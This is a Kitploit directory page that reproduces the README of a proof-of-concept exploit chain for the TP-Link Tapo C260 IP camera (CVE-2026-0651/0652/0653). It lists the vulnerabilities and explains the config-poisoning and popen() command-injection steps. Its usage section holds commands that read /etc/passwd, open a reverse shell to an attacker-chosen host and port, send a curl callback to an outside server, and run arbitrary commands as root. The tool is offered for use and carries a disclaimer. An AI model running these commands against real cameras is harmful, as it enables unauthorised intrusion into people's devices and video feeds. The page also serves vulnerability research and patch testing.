Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
tapo-c260-rce — PoC exploit chain for TP-Link Tapo C260 camera — CVE-2026-0651/0652/0653. Research by @spaceraccoon. | Kitploit
Tools/GitHubGitHub/l0lsec/tapo-c260-rce
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationHardware HackingPenetration TestingCommand and ControlHardware & IoT SecurityFirmware Analysis
GitHubl0lsec/tapo-c260-rce
125 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

tapo-c260-rce

PoC exploit chain for TP-Link Tapo C260 camera — CVE-2026-0651/0652/0653. Research by @spaceraccoon.

View Repository

Tapo C260 RCE Chain (CVE-2026-0651 / CVE-2026-0652 / CVE-2026-0653)

Proof-of-concept exploit chain for TP-Link Tapo C260 IP camera achieving unauthenticated-to-root RCE by chaining three vulnerabilities discovered by Eugene Lim (Spaceraccoon).

Credit

All vulnerability research and discovery by Eugene Lim (@spaceraccoon).

This repo is a PoC implementation based on his public writeup. If you find this useful, go buy his book: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).

Vulnerability Chain

CVETypeImpact
CVE-2026-0651Path Traversal / Local File DisclosureRead arbitrary files via /%2e%2e%2f in the HTTP GET handler
CVE-2026-0652Arbitrary Config WriteGuest-level users can write to any config path via JSON key manipulation in the cloud API
CVE-2026-0653Command Injection / Privilege Escalationset_region_code_handle passes unsanitized dev_name config value to popen()

Kill Chain

root@kitploit:~
LFD (read device config) --> Config Write (poison dev_name) --> Trigger region code handler --> popen() --> shell

Requirements

  • Python 3.8+
  • Network access to the camera (for LFD) or a valid TP-Link cloud auth token (for RCE)
  • Guest-level credentials are sufficient for the full chain

Install

root@kitploit:~
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt

Usage

Local File Disclosure (CVE-2026-0651)

Read arbitrary files from a camera on the local network:

root@kitploit:~
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd

Full RCE Chain (CVE-2026-0651 + CVE-2026-0652 + CVE-2026-0653)

root@kitploit:~
# Reverse shell
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --lhost <YOUR_IP> \
  --lport 4444

# Callback only (curl ping)
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --callback http://your-server.com/pwned

# Custom command
python exploit.py \
  --cloud-host aps1-app-server.iot.i.tplinkcloud.com \
  --device-id <DEVICE_ID> \
  --cloud-token <CLOUD_AUTH_TOKEN> \
  --cmd "id > /tmp/pwned"

How It Works

  1. Poison — Sends a setLedStatus request with manipulated JSON keys that writes a shell metacharacter payload into the tp_manage/info/dev_name config path on the device.

  2. Trigger — Sends a set_region_code request. The handler reads dev_name from config and interpolates it into a popen() call without sanitization, executing the injected command.

  3. Shell — The attacker receives a callback or reverse shell.

Affected Firmware

  • TP-Link Tapo C260 (pre-patch firmware)
  • Potentially other Tapo models sharing the same /bin/main omnibus binary

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse. Always obtain explicit permission before testing against any device you do not own.

References

  • Original Writeup — Spaceraccoon
  • Kennedn's Tapo Protocol Research
  • TP-Link Security Advisory
Download Tool